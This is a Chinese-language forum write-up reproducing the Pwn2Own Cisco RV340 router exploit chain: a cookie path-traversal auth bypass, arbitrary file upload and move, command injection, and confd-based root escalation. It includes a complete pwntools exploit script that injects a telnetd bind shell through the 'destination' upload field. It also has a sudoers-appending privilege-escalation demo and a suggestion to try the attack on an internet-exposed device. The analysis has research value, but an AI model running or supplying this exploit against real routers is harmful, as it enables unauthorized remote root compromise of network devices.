pwn2own中Cisco RV340的利用链分析
0x01 2021pwn2own中的RV340
pwn2own中展示的方法是利用多个个cve漏洞,完成身份绕过,命令执行,提权的过程,目标机器是Cisco RV340。
出现漏洞的版本在1.0.3.24以前,所以我下载了1.0.3.22版本的固件进行复现学习。
这次学习Cisco路由器,旨在理清思科路由器和之前研究的区别和框架。
0x02 攻击链分析
接触的设备RV340使用的是Nginx作为web服务,配置文件位于/etc/nginx中,web根目录在www目录下。
在这样的分析中,首先查看的还是web的服务配置,查看Nginx的配置文件。关注配置文件中的nginx.conf,fastcgi_params,以及conf.d中的web.conf,web.upload.conf这几个较为关键的配置文件。
首先学习Nginx的配置文件构成,在主配置文件nginx.conf文件中,配置内容分为三块,分别是全局块,events块,http块。在http块中,又包含多个server块。每个server块中又可以包含server全局块和多个location块。如此环环嵌套,在各个作用域发挥作用。
一般来说,高一层级的块可以作用在其包含的所有块中。
在RV340的配置中,定义了如上内容,更多的server块内容在sites-enabled下作为单个文件存在,具体不深入探究,upstream是负载均衡,一般来说多个server后面还有权重,但是这里只有一个port,也就没有配置权重的必要。
整个nginx配置了五个大的server,分别为rest,web-lan,web-rest-lan,web-rest-wan,web-wan。
每个server中包含了若干include指令,拿rest来说。
在这些conf中包含了若干location。
按照理解,每个server都相当于是一台虚拟主机,而其中的location处理虚拟主机接收到的各类请求字符串,对server_name以外的字符串进行匹配。
location的语法结构为location [ = | ~ | ~* | ^~ ] uri { ... }
其中uri可以含有正则表达式,[]中的,是可选项,用来改变和uri的匹配方式。
- “=”,用于标准uri前,要求请求字符串与uri严格匹配。如果已经匹配成功,就停止继续向下搜索并立即处理此请求。
- “^~”,用于标准uri前,要求Nginx服务器找到标识uri和请求字符串匹配度最高的location后,立即使用此location处理请求,而不再使用location块中的正则uri和请求字符串做匹配。
- “~”,用于表示uri包含正则表达式,并且区分大小写。
- “~
*
”,用于表示uri包含正则表达式,并且不区分大小写。注意如果uri包含正则表达式,就必须要使用“~”或者“~*”标识。 > 我们知道,在浏览器传送URI时对一部分字符进行URL编码,比如空格被编码为“%20”,问号被编码为“%3f”等。“~”有一个特点是,它对uri中的这些符号将会进行编码处理。比如,如果location块收到的URI为“/html/%20/data”,则当Nginx服务器搜索到配置为“~ /html/ /data”的location时,可以匹配成功。
在web.conf中和web.upload中定义了一些访问的url,关注到web.upload这一较为敏感的内容。
location /upload {
set $deny 1;
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
\$deny为1即可完成403跳转,条件就是/tmp/websession/token/$cookie_sessionid
存在,然而对于\$cookie_sessionid,这个变量,似乎没有太多的安全要素在里面。
只需要让目录穿越到一个存在的文件即可绕过这个检查。
即设置sessionid=../../../../../../../../etc/passwd
。
此时请求upload,会返回400,而如果文件不存在则返回403,这就是CVE-2022-20705漏洞。(这里指的是请求头不全时,返回400)
该漏洞造成的威胁是任意的文件上传,因为可以发现这里对文件上传的文件也是没有检测的(CVE-2022-20709)
绕过验证之后,请求给到对应的cgi,可以对upload.cgi进行逆向分析,稍做分析之后发现,第一次的绕过还不算,在cgi中对sessionid还有第二次校验。
图中的目标函数可以说是最终执行的目标,在执行这两个函数之前,前面有很多的判断,第二条就是我们分析的upload,第一条是另外的路径,在rest.url.conf中可以看到其约束。
必须要有authorization选项才可以。其余的之类的条件不用管,都可以在http包中伪造,如果是第一条url,则进入sub_124B0函数。
在这条路径中,闭合得当可以rce。
第二个函数sub_12684中,同样的控制cookie得当,也可以RCE。
这里就是突破的第二步,CVE-2022-20707,最后就是提升权限为root,最终提权使用的是confd_cli命令(2022-20701)。
以上提到的CVE号可能不是太准确,因为找到的资料都是一个大类,思科官网中有记载,RV设备爆出来很多连CVE号码的漏洞,可能是其中的某一个。
0x03 从分析到利用
绕过Nginx配置
在分析中基本上都讲到了,分析中举出来的例子算是一个小例子,实际上在conf配置文件中,几乎对于所有的authorization和sessionid都可以用到类似的绕过,执行一些意料之外的事情。
基础条件就是authorization不为空,session文件不为空(基本上就是利用根目录下一定存在的文件)
payload = http_req+"sessionid=../../../../../../../../etc/passwd"+xxxx
二次绕过后的RCE
具体的rce形成已经知道了,接下来就是好好说道一下利用过程中需要解决的认证问题,Cisco的代码还算规整(diss某httpd),逻辑也比较清晰。
程序从环境变量中取出一些相关的头部字段,从content_type来看,这次请求是http的boundary文件上传。
其中一些str和buf之间的操作看名字应该就知道是什么意思,其中设计到boundary的格式操作,也不需要深入探究,按照标准格式,到时候一抓包改关键位置就行。
从数据包中取出关键字,如果设置了http-cookie则通过strstr获得sessionid后面的东西,同时可以有多个session_id因为使用了for循环,利用分号匹配了所有的cookie,只要是有session_id就进行操作,去最后的session_id为有效id。
通过filename获得相应的key然后去sub_115D0函数进行更一步的操作。
后文中,只有v21返回值为0才可以到最后一步,函数的第一个参数是pathparam,第二个参数是filepath,第三个参数是filename
通过fileparam决定v8,检查filepath是否存在,检查filname是否含有非法字符,最后system调用mv函数进行操作,a2必须是合法文件路径,第二个参数已经固定,第三个参数有了正则waf,似乎system看起来没有办法逃逸引号,函数返回system的执行结果,继续运行。
这里的逻辑也是有问题的,因为可以明显的感觉到这个,mv的执行太简单了,回去再看一遍发现对filename过滤,但是允许.(点号)存在,所以可以穿越目录,任意文件移动(CVE-2022-20711)。
在接下来就是两个可能rce的函数了,第一个不给予考虑,一个waf全当下来了,第二个可以考虑一下,里面的json_obj_to_str可以看看,查找该函数,发现函数存在于libjson-c.so文件中。
int __fastcall json_object_to_json_string(int a1)
{
return j_json_object_to_json_string_ext(a1, 1);
}
奇怪的是是一个有参数的函数,可能IDA没有识别出来,导致该函数没有参数。
查看汇编知道,参数来源于R0,也就是前面的非0判断那个变量,修改函数原型后显示正常。
V14来源于a4判断之后的函数返回值。
这些函数大都是创建json对象,然后拼接之类的,拿sub_117E0(a2, a5, a3);
函数举个例子。
int __fastcall sub_117E0(int a1, int a2, int a3)
{
[.........]
v3 = a2 == 0;
if ( a2 )
v3 = a1 == 0;
if ( v3 )
return 0;
if ( !a3 )
return 0;
v7 = json_object_new_object(a1);
v8 = json_object_new_object(v7);
v9 = json_object_new_object(v8);
v10 = json_object_new_object(v9);
v11 = json_object_new_object(v10);
v23 = json_object_new_object(v11);
v24 = StrBufCreate(v23, v12, v13);
StrBufSetStr(v24, (int)"FILE://Firmware/");
StrBufAppendStr(v24, a2);
v14 = json_object_new_string("2.0");
json_object_object_add(v7, "jsonrpc", v14);
v15 = json_object_new_string("action");
json_object_object_add(v7, "method", v15);
json_object_object_add(v7, "params", v9);
v16 = json_object_new_string("file-copy");
json_object_object_add(v9, "rpc", v16);
json_object_object_add(v9, "input", v8);
v17 = json_object_new_string("firmware");
json_object_object_add(v8, "fileType", v17);
json_object_object_add(v8, "source", v10);
v18 = StrBufToStr(v24);
v19 = json_object_new_string(v18);
json_object_object_add(v10, "location-url", v19);
json_object_object_add(v8, "destination", v11);
v20 = json_object_new_string(a1);
json_object_object_add(v11, "firmware-state", v20);
json_object_object_add(v8, "firmware-option", v23);
v21 = json_object_new_string(a3);
json_object_object_add(v23, "reboot-type", v21);
StrBufFree(&v24);
return v7;
}
返回值为v7,根据a1创建对象,然后添加jsonrpc,添加method,添加params最后返回v7,简而言之,就是在第一个参数的基础上在后面拼接若干东西,形成一个json对象,在后续的json_object_to_json_string(v14);
函数中转化该对象为string,然后传入command执行。
所以我们只需要构造一个逃逸单引号的destination就可以了。(sub_117E0
函数的第一个参数是destination)
总结起来,rce的条件就是:
- 各类参数齐全,filename符合格式
- 任意文件移动必须返回0,即filename不含有特殊字符,filepath是合法路径
- destination闭合单引号
利用起来也不是特别困难
提权
提权利用上也有很多漏洞,这里选择的是其中的confd指令提权,利用通过confd
以特权运行的 Cisco root
,获得系统执行root命令的权限,主要是利用Web UI 通过本地绑定的套接字与 confd 服务器进行通信。
It is also possible to communicate with
confd
and issue commands using the userspace applicationconfd_cli
. During our research, we noticed that the confd daemon provides commands to read and write files with thefile show
andappend
commands.
confd本身就提供了读写文件的操作,下面是在某博客看到的一个提权demo。
$ echo 'www-data ALL=(ALL) NOPASSWD: ALL' > /tmp/www-data-sudo
$ /usr/bin/confd_cli -U 0 -G 0 -u root -g root
root connected from 127.0.0.1 using console on cisco-router91D57F
root@cisco-router91D57F> file show /tmp/www-data-sudo | append /etc/sudoers
file show /tmp/www-data-sudo | append /etc/sudoers
[ok][2021-10-11 09:43:01]
root@router91D57F> exit
exit
$ sudo /bin/sh
sudo /bin/sh
BusyBox v1.23.2 (2021-06-14 02:21:16 IST) built-in shell (ash)
# id
id
uid=0(root) gid=0(root) groups=0(root)
0x04 验证 & POC
qemu模拟启动虚拟环境。arm小端,使用的是armhf,在qemu模拟的系统中,切换chroot和挂载dev poc之后,按照以下指令启动nginx服务即可,比httpd之类的方便一点。
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start
具体的可以看nginx和confd启动需要的依赖。
这里遇到了一个bug,启动服务的时候,有很多东西显示没有,看了一下,发现我的var软连接指向了/dev/null???
然后找了一些资料,发现是binwalk在解压的时候,自动把软连接重置为了null。所以在这里对binwalk需要做一个修改,在binwalk/modules/extractor.py
文件中。
有一个最后三行的if判断(if not xxxx)
把那里的if改为if 0 and not xxxxx
然后重新编译binwalk再去提取就ok了(复现完毕别忘记改回来,怕出问题)
一直到命令执行,实际上一个脚本就可以一把梭,关注点在于第一个sessionid和第二个sessionid的伪造,以及任意文件移动的绕过和destination的设置。
from pwn import *
import base64 as b64
IP = "192.168.250.173"
PORT = 80
p = remote(IP.PORT)
text = "login".encode('utf-8')
fake_session = "sessionid=../../../../../../etc/passwd;sessionid=" + b64.b64encode(text).decode('utf-8') + ";"
body = """------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="sessionid"
EU6DJKEIWO
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="pathparam"
Firmware
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="fileparam"
file001
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="destination"
x';/usr/sbin/telnetd -p 8888 -d /bin/sh
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="option"
x
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="file"; filename="1.img"
Content-Type: application/octet-stream
1111
------WebKitFormBoundaryz6gIo5kcTkAlkCwX--
"""
payload = b"POST /upload HTTP/1.1\r\n"
payload += b"Host: %s\r\n"%IP
payload += b"Accept: application/json, text/plain, */*\r\n"
payload += b"optional-header: header-value\r\n"
payload += b"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36\r\n"
payload += b"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz6gIo5kcTkAlkCwX\r\n"
payload += b"Content-Length: %s\r\n"%(str(len(body)))
payload += b"Origin: http://192.168.250.173\r\n"
payload += b"Referer: http://192.168.250.173/index.html\r\n"
payload += b"Accept-Encoding: gzip, deflate\r\n"
payload += b"Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
payload += b"Cookie: %s\r\n"%fake_session
payload += b"Connection: close\r\n"
payload += b"\r\n"
payload += body.encode('utf-8')
p.send(payload)
p.interactive()
提权就很简单了,具体的原理不讲了,类似于sudo这类的提权,按照上面的demo,一步一步操作就可以了。
起服务失败的也可以在公网上找一台设备,试一试(拒绝违法行为)也可以本地调试,本地调试cgi的方法可以参考《家用路由器的0day挖掘》,主要是在启动qemu-static之前,先把环境变量设置好,这里不太好处理的是main函数里面的一个pharase函数,加上漏洞逻辑清晰,所以不太建议本地调试,找个模拟环境打一下,开了telnetd就行了。
0x05 总结
在突破到控制到提权的过程中,利用的链子中存在很多漏洞,在思科官网可以看到,此次的pwn2own对Cisco路由器也是花样很多。
除了以上的方法还有很多的利用可以学习,大概的CVE编号都在2022-20700--2022-20710左右。还有一些师傅利用device更新之类的方法,也是非常有意思。
再次总结上面的利用:
- conf配置文件存在session绕过和任意文件上传,利用这个可以过掉第一部分的验证(只需要伪造session即可)
- 第二次session验证依然存在问题,验证校验了session的内容,即只能存在数字字母(base64)但是在获取session的时候允许多个session的出现,用分号隔开取最后一个有效,这就导致我们可以输入多个session,绕过2此验证。
- 之后有一个任意文件移动,这个可以和任意文件上传一起利用,也可以绕过即可,主要注意filname,filepath等参数的合法性。
- Rce,输入的destination逃逸引号即可
- 提权利用的是执行confd时候的root权限,且可以创建移动文件,精心构造的输入和show等指令可以让用户获得root权限。
总的来说复现感觉很好,Cisco提供的Nginx和详细的资料让模拟环境变得较为简单,poc也是在模拟环境下一手编写,从搭建环境到拿到root权限的感觉很好。
- 本文作者: 就叫16385吧
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1869
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!